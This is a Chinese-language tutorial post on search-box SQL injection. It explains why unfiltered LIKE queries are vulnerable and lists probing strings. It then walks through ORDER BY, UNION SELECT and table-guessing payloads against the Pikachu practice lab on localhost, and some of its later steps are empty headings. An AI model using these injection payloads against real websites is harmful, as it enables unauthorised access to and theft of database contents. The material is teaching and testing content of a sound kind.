1. 程式人生 > 其它 >搜尋型sql注入

搜尋型sql注入

1.搜尋型注入漏洞產生的原因:
  在搭建網站的時候為了方便使用者搜尋該網站中的資源,程式設計師在寫網站指令碼的時候加入了搜尋功能,但是忽略了對搜尋變數的過濾,造成了搜尋型注入漏洞,又稱文字框注入。
2.搜尋型注入的型別:
  同其他注入型別相同,由於提交表單的不同,可分為GET型(多出現於網站上的搜尋)和POST型(多出現於使用者名稱的登入搜尋匹配),搜尋型注入是國內系統中普遍存在的漏洞。
3.原理分析:
select username,id,email from member where username like '%$name%'
這句SQL語句就是基於使用者輸入的name的值在表member中搜索匹配username,但是如果輸入 'and 1=1 and '%'=' 就變成了
select username,id,email from member where username like '%'and 1=1 and '%'='%'
就存在了SQL注入:
username like '%' 就是匹配任意值的username欄位
1=1 and '%'='%' 這兩條件均為真,且無篩選功能
因此等價於上述sql語句等價於:select username,id,email from member即顯示了所內容
4.搜尋型注入的判斷方法:
1 搜尋keywords‘,如果出錯的話,有90%的可能性存在漏洞;
2 搜尋 keywords%,如果同樣出錯的話,就有95%的可能性存在漏洞;
3 搜尋keywords% 'and 1=1 and '%'='(這個語句的功能就相當於普通SQL注入的 and 1=1)看返回的情況
搜尋keywords% 'and 1=2 and '%'='(這個語句的功能就相當於普通SQL注入的 and 1=2)看返回的情況
根據兩次的返回情況來判斷是不是搜尋型文字框注入了

下面方法也可以測試
'and 1=1 and '%'='
%' and 1=1--'
%' and 1=1 and '%'='
例項講解:
原始碼:

一,猜欄位
可判斷有三個欄位
http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= ' order by 3 --+&submit=搜索

二,爆欄位
http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,3 --+&submit=搜索

三,爆庫
http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name=

' UNION SELECT 1,2,database() --+&submit=搜索

 
四,爆表

 
五,爆列

六,爆欄位內容

 
其他方式
(1)猜欄位數
可以判斷欄位數為 3
127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %' union select 1,2,3,4 and '%'='&submit=搜尋 #報錯
127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %' union select 1,2,3 and '%'='&submit=搜尋 #不報錯
127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %' union select 1,2 and '%'='&submit=搜尋 #報錯

 
 (2)猜表
127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %'and(select count(*)from users)>0 and '%'='&submit=搜尋
更換users,不報錯就證明資料庫中含有這個表